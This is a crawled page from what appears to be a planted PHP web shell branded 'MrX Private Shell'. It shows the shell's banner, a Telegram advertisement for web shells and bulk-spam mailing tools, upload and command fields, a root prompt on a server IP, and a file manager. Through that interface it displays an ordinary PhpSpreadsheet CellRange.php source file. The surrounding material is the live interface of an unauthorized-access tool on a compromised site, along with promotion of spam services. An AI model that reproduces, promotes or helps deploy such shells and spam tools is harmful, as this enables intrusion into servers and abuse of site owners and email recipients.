__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

root@216.73.217.120: ~ $
<?php

namespace PhpOffice\PhpSpreadsheet\Cell;

use PhpOffice\PhpSpreadsheet\Exception;
use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet;

class CellRange implements AddressRange
{
    /**
     * @var CellAddress
     */
    protected $from;

    /**
     * @var CellAddress
     */
    protected $to;

    public function __construct(CellAddress $from, CellAddress $to)
    {
        $this->validateFromTo($from, $to);
    }

    private function validateFromTo(CellAddress $from, CellAddress $to): void
    {
        // Identify actual top-left and bottom-right values (in case we've been given top-right and bottom-left)
        $firstColumn = min($from->columnId(), $to->columnId());
        $firstRow = min($from->rowId(), $to->rowId());
        $lastColumn = max($from->columnId(), $to->columnId());
        $lastRow = max($from->rowId(), $to->rowId());

        $fromWorksheet = $from->worksheet();
        $toWorksheet = $to->worksheet();
        $this->validateWorksheets($fromWorksheet, $toWorksheet);

        $this->from = $this->cellAddressWrapper($firstColumn, $firstRow, $fromWorksheet);
        $this->to = $this->cellAddressWrapper($lastColumn, $lastRow, $toWorksheet);
    }

    private function validateWorksheets(?Worksheet $fromWorksheet, ?Worksheet $toWorksheet): void
    {
        if ($fromWorksheet !== null && $toWorksheet !== null) {
            // We could simply compare worksheets rather than worksheet titles; but at some point we may introduce
            //    support for 3d ranges; and at that point we drop this check and let the validation fall through
            //    to the check for same workbook; but unless we check on titles, this test will also detect if the
            //    worksheets are in different spreadsheets, and the next check will never execute or throw its
            //    own exception.
            if ($fromWorksheet->getTitle() !== $toWorksheet->getTitle()) {
                throw new Exception('3d Cell Ranges are not supported');
            } elseif ($fromWorksheet->getParent() !== $toWorksheet->getParent()) {
                throw new Exception('Worksheets must be in the same spreadsheet');
            }
        }
    }

    private function cellAddressWrapper(int $column, int $row, ?Worksheet $worksheet = null): CellAddress
    {
        $cellAddress = Coordinate::stringFromColumnIndex($column) . (string) $row;

        return new class ($cellAddress, $worksheet) extends CellAddress {
            public function nextRow(int $offset = 1): CellAddress
            {
                /** @var CellAddress $result */
                $result = parent::nextRow($offset);
                $this->rowId = $result->rowId;
                $this->cellAddress = $result->cellAddress;

                return $this;
            }

            public function previousRow(int $offset = 1): CellAddress
            {
                /** @var CellAddress $result */
                $result = parent::previousRow($offset);
                $this->rowId = $result->rowId;
                $this->cellAddress = $result->cellAddress;

                return $this;
            }

            public function nextColumn(int $offset = 1): CellAddress
            {
                /** @var CellAddress $result */
                $result = parent::nextColumn($offset);
                $this->columnId = $result->columnId;
                $this->columnName = $result->columnName;
                $this->cellAddress = $result->cellAddress;

                return $this;
            }

            public function previousColumn(int $offset = 1): CellAddress
            {
                /** @var CellAddress $result */
                $result = parent::previousColumn($offset);
                $this->columnId = $result->columnId;
                $this->columnName = $result->columnName;
                $this->cellAddress = $result->cellAddress;

                return $this;
            }
        };
    }

    public function from(): CellAddress
    {
        // Re-order from/to in case the cell addresses have been modified
        $this->validateFromTo($this->from, $this->to);

        return $this->from;
    }

    public function to(): CellAddress
    {
        // Re-order from/to in case the cell addresses have been modified
        $this->validateFromTo($this->from, $this->to);

        return $this->to;
    }

    public function __toString(): string
    {
        // Re-order from/to in case the cell addresses have been modified
        $this->validateFromTo($this->from, $this->to);

        if ($this->from->cellAddress() === $this->to->cellAddress()) {
            return "{$this->from->fullCellAddress()}";
        }

        $fromAddress = $this->from->fullCellAddress();
        $toAddress = $this->to->cellAddress();

        return "{$fromAddress}:{$toAddress}";
    }
}

Filemanager

Name Type Size Permission Actions
AddressHelper.php File 6.58 KB 0644
AddressRange.php File 365 B 0644
AdvancedValueBinder.php File 8.27 KB 0644
Cell.php File 22.25 KB 0644
CellAddress.php File 4.02 KB 0644
CellRange.php File 4.74 KB 0644
ColumnRange.php File 3 KB 0644
Coordinate.php File 20.57 KB 0644
DataType.php File 2.16 KB 0644
DataValidation.php File 8.29 KB 0644
DataValidator.php File 4.5 KB 0644
DefaultValueBinder.php File 2.67 KB 0644
Hyperlink.php File 1.82 KB 0644
IValueBinder.php File 302 B 0644
IgnoredErrors.php File 1.17 KB 0644
RowRange.php File 2.14 KB 0644
StringValueBinder.php File 3.39 KB 0644
Filemanager